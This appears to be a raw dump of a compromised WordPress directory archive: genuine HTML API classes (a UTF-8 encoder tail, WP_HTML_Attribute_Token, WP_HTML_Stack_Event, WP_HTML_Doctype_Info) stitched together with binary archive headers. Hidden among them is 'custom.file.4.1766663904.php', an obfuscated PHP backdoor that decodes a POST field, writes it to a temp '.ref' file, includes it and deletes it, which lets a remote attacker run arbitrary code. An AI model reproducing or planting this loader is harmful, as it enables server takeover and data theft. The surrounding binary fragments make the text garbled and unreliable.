		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
PKYO\�w5H�
�
!class-wp-html-attribute-token.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKYO\�� eZZcustom.file.4.1766663904.phpnu�[���<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}PKYO\��
Fggclass-wp-html-stack-event.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Stack_Event class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */

/**
 * Core class used by the HTML Processor as a record for stack operations.
 *
 * This class is for internal usage of the WP_HTML_Processor class.
 *
 * @access private
 * @since 6.6.0
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Stack_Event {
	/**
	 * Refers to popping an element off of the stack of open elements.
	 *
	 * @since 6.6.0
	 */
	const POP = 'pop';

	/**
	 * Refers to pushing an element onto the stack of open elements.
	 *
	 * @since 6.6.0
	 */
	const PUSH = 'push';

	/**
	 * References the token associated with the stack push event,
	 * even if this is a pop event for that element.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Token
	 */
	public $token;

	/**
	 * Indicates which kind of stack operation this event represents.
	 *
	 * May be one of the class constants.
	 *
	 * @since 6.6.0
	 *
	 * @see self::POP
	 * @see self::PUSH
	 *
	 * @var string
	 */
	public $operation;

	/**
	 * Indicates if the stack element is a real or virtual node.
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	public $provenance;

	/**
	 * Constructor function.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token $token      Token associated with stack event, always an opening token.
	 * @param string        $operation  One of self::PUSH or self::POP.
	 * @param string        $provenance "virtual" or "real".
	 */
	public function __construct( WP_HTML_Token $token, string $operation, string $provenance ) {
		$this->token      = $token;
		$this->operation  = $operation;
		$this->provenance = $provenance;
	}
}
PKYO\y
&c&cclass-wp-html-doctype-info.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
PKYO\ى�R
R
class-wp-html-token.phpnu�[���PKYO\��Wt

�
10/class-feed.php.tarnu�[���PKYO\�V2HH �10/class-wp-html-decoder.php.tarnu�[���PKYO\*0��4C4C.`10/index.phpnu�[���PKYO\�i���/��10/class-wp-html-attribute-token.php.php.tar.gznu�[���PKYO\Գ�$$3��10/class-wp-html-active-formatting-elements.php.tarnu�[���PKYO\���hh^�10/class-wp-block.php.tarnu�[���PKYO\�)~�44�410/default-constants.php.tarnu�[���PKYO\@�����h10/abilities-api.tarnu�[���PKYO\	
��7W10/feed-atom.php.php.tar.gznu�[���PKYO\�J���:�\10/class-wp-html-active-formatting-elements.php.php.tar.gznu�[���PKYO\��)L>>+�e10/class.wp-styles.php.wp-styles.php.tar.gznu�[���PKYO\��)�.Wg10/class-wp-html-unsupported-exception.php.tarnu�[���PKYO\�)�|cc'�}10/class-wp-html-decoder.php.php.tar.gznu�[���PKYO\���#o�10/class-wp-block-processor.php.tarnu�[���PKYO\��5�mm!¨10/class-wp-oembed.php.php.tar.gznu�[���PKYO\����10/class-wp-rewrite.php.tarnu�[���PKYO\{H�����10/class-wp-scripts.php.tarnu�[���PKYO\6��-��S10/error_log.tar.gznu�[���PKYO\T7��[[%`10/class-wp-html-token.php.php.tar.gznu�[���PKYO\��	�e10/theme-i18n.json.tarnu�[���PKYO\ܗu��J�J	�q10/10.tarnu�[���PKYO\2!�M6JQ10/https-migration.php.tarnu�[���PKYO\g���VV&�dQ10/class-wp-html-tag-processor.php.tarnu�[���PKYO\��w"JJֺS10/index.php.tarnu�[���PKYO\�`��

